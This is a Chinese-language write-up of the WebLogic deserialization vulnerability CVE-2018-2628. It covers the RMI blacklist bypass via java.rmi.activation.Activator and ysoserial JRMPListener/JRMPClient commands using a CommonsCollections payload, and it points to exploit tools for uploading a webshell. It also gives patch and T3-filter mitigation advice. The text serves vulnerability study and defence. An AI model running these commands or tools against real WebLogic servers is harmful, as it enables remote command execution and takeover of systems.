Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
0X01 漏洞介绍
目前这个漏洞是结合了历史问题实现的远程命令执行,具体概括有三点
1.反射机制
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
2.RMI
RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
RMI传输过程都使用序列化和反序列化,如果RMI服务端端口对外开发,并且服务端使用了像Apache Commons Collections这类库,那么会导致远程命令执行。
RMI依赖于Java远程消息交换协议JRMP(Java Remote Messaging Protocol),该协议为java定制,要求服务端与客户端都为java编写。
3.绕过黑名单
Weblogic 中InboundMsgAbbrev 的resolveProxyClass处理rmi接口类型,因为只判断了java.rmi.registry.Registry ,找一个其他的rmi接口绕过,比如java.rmi.activation.Activator为 RMI 对象激活提供支持。
对比可以看到 ,除了接口换了,之后的rmi调用关系都一样。
java.rmi.activation.Activator->java.lang.reflect.Proxy->java/lang/reflect/InvocationHandler->
java.rmi.server.RemoteObjectInvocationHandler->java.rmi.server.RemoteObject->UnicastRef
Weblogic 使用了Apache Commons Collections库,看一下利用Commons Collections的代码。
这个是利用Apache Commons Collections库,通过反射的方式执行恶意payload,这里实现反射的函数是InvokerTransformer他们的共同特点是都需要实现序列化接口才能被反序列化,关于这个的分析有很多不详细介绍。
RMI
首先服务端监听ysoserial,上面的反射代码被集成到了ysoserial工具中的CommonsCollections 的payload中,最终依然是sun.reflect.annotation.AnnotationInvocationHandler。
java -cp ysoserial-0.0.5-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc.exe
攻击端生成payload,目前接口还没有更新,可自行更改,可以看到接口用的是java.rmi.registry.Registry
java -jar ysoserial-0.0.5-SNAPSHOT-all.jar JRMPClient 192.168.3.6:1099 > 1
生成的payload发送给weblogic反序列化连接服务端,服务端把恶意序列化代码发送给weblogic,weblogic再反序列化实现攻击。
0x02 影响版本
Weblogic 10.3.6.0 , 12.1.3.0 , 12.2.1.2 , 12.2.1.3
0x03 搭建环境
0x04 漏洞复现
使用工具(https://github.com/0xMJ/CVE-2018-2628.git):
第一步执行k8weblogicGUI.exe上传shell:
确定上传成功:
Getshell(Weblogic GetShell CVE-2018-2628.exe):
利用成功(cve-2018-2628.py):
0x05 修复方案
安装官方补丁
手工修复:
若要利用该漏洞, 攻击者首先需要与WebLogic Server提供的T3服务端口建立SOCKET连接, 运维人员可通过控制T3协议的访问权限来临时阻断漏洞利用。
WebLogic Server 提供了名叫“weblogic.security.net.ConnectionFilterImpl”的默认连接筛选器。该连接筛选器可控制所有传入连接,通过修改此连接筛选器规则,可对T3及T3S协议进行访问控制。